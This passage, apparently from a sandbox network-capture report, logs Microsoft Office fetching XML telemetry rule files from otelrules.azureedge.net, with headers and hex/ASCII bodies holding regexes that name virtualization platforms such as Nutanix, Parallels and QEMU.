2024-12-03 16:41:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 27481374-801e-0078-46b4-42bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164136Z-174f7845968j6t2phC1EWRcfe800000016bg00000000cur6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:36 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: a15be10d-401e-0029-636c-439b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164136Z-174f7845968px8v7hC1EWR08ng00000016gg000000005k31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:36 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:36 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ce20f954-a01e-006f-7a27-4413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164136Z-174f7845968cdxdrhC1EWRg0en000000167g000000003r1x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:38 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:38 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e579458c-401e-0064-1dbd-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164138Z-174f7845968pf68xhC1EWRr4h800000016dg00000000g0gg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:38 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:38 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:38 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: b69fee9c-d01e-0028-6253-437896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164138Z-174f7845968pf68xhC1EWRr4h800000016bg00000000qus1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:38 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:38 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 4e3832d9-101e-005a-31c5-43882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164138Z-174f7845968px8v7hC1EWR08ng00000016f000000000c5kr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:38 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:38 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 4680a0b7-201e-003c-6bc7-4330f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164138Z-174f78459685m244hC1EWRgp2c000000163000000000608d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:39 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:38 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:39 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4d2a6959-e01e-0085-41b2-42c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164139Z-174f7845968glpgnhC1EWR7uec00000016b000000000gdk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:39 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:40 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:40 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: b6cdcd34-001e-0014-02c7-435151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164140Z-174f7845968glpgnhC1EWR7uec00000016eg000000000pt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:40 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:40 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:40 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: c77215d8-301e-0099-166b-436683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164140Z-174f7845968j6t2phC1EWRcfe8000000168000000000tsgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:41 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:40 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:40 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 1fbe2e95-401e-0083-4bb4-43075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164140Z-174f7845968vqt9xhC1EWRgten000000167g00000000e7k8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:41 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:40 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:41 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 29785dea-d01e-008e-30ff-44387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164141Z-174f7845968swgbqhC1EWRmnb400000016dg000000004vdp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:41 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
